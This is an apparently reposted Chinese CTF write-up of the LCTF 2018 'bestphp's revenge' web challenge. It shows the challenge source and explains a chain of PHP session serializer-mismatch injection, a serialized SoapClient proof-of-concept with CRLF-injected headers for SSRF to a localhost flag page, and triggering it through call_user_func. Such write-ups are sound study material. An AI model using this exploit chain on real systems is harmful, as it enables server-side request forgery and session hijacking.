刷題記錄:[LCTF]bestphp's revenge


刷題記錄:[LCTF]bestphp's revenge

題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:https://xz.aliyun.com/t/3341#toc-22
從LCTF WEB簽到題看PHP反序列化
LCTF2018-bestphp's revenge 詳細題解

這是LCTF的web簽到題??打擾了。現在一天一題已經有點跟不上了。。。。

一、知識點

這幾個知識點環環相扣形成利用鏈,所以我一起講了
session反序列化->soap(ssrf+crlf)->call_user_func激活soap類

1、SoapClient觸發反序列化導致ssrf

2、serialize_hander處理session方式不同導致session注入

3、crlf漏洞

二、解題思路

首先,php反序列化沒有可利用的類時,可以調用php原生類,參考
反序列化之PHP原生類的利用,
貼上源碼和poc講

//index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
//flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

很容易想到f傳入extract覆蓋b為我們想要的函數,問題是后面session的利用。
先說SoapClient,參考從幾道CTF題看SOAP安全問題

SOAP(簡單對象訪問協議)是連接或Web服務或客戶端和Web服務之間的接口。
其采用HTTP作為底層通訊協議,XML作為數據傳送的格式
SOAP消息基本上是從發送端到接收端的單向傳輸,但它們常常結合起來執行類似於請求 / 應答的模式。

那么如果我們能通過反序列化調用SoapClientflag.php發送請求,那么就可以實現ssrf

接下要解決的問題是:

  • 在哪觸發反序列化
  • 如何控制反序列化的內容

這里要知道call_user_func()函數如果傳入的參數是array類型的話,會將數組的成員當做類名和方法,例如本題中可以先用extract()將b覆蓋成call_user_func()reset($_SESSION)就是$_SESSION['name'],我們可以傳入name=SoapClient,那么最后call_user_func($b, $a)就變成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),即call_user_func(SoapClient->welcome_to_the_lctf2018),由於SoapClient類中沒有welcome_to_the_lctf2018這個方法,就會調用魔術方法__call()從而發送請求

SoapClient的內容怎么控制呢,貼上大佬的poc

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

這里又涉及到crlf,參考[轉載]CRLF Injection漏洞的利用與實例分析,我的理解是因為http請求遇到兩個\r\n%0d%0a,會將前半部分當做頭部解析,而將剩下的部分當做體,那么如果頭部可控,就可以注入crlf實現修改http請求包。如果我的理解有錯,請大佬指正。

這個poc就是利用crlf偽造請求去訪問flag.php並將結果保存在cookie為PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4的session中。

最后一點,就是如何讓php反序列化結果可控。這里涉及到php反序列的機制。

php中的session中的內容並不是放在內存中的,而是以文件的方式來存儲的,存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。
存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列話之后的內容。
在php.ini中存在三項配置項:

session.save_path=""   --設置session的存儲路徑
session.save_handler="" --設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的可以使用本函數(數據庫等方式)
session.serialize_handler   string --定義用來序列化/反序列化的處理器名字。默認是php(5.5.4后改為php_serialize)

PHP內置了多種處理器用於存儲$_SESSION數據時會對數據進行序列化和反序列化,常用的有以下三種,對應三種不同的處理格式:

處理器 對應的存儲格式
php 鍵名 + 豎線 + 經過serialize()函數反序列化處理的值
php_binary 鍵名的長度對應的ASCII字符 + 鍵名 + 經過serialize()函數反序列化處理的值
php_serialize(php>=5.5.4) 經過serialize()函數反序列處理的數組

配置選項 session.serialize_handler,通過該選項可以設置序列化及反序列化時使用的處理器。

如果PHP在反序列化存儲的$_SEESION數據時的使用的處理器和序列化時使用的處理器不同,會導致數據無法正確反序列化,通過特殊的偽造,甚至可以偽造任意數據。

當存儲是php_serialize處理,然后調用時php去處理,如果這時注入的數據時a=|O:4:"test":0:{},那么session中的內容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";},那么a:1:{s:1:"a";s:16:"會被php解析成鍵名,后面就是一個test對象的注入。

正好我們一開始的call_user_func還沒用,可以構造session_start(['serialize_handler'=>'php_serialize'])達到注入的效果。

三、解題步驟

先注入poc得到的session

觸發反序列化使SoapClient發送請求

攜帶poc中的cookie訪問即可得到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM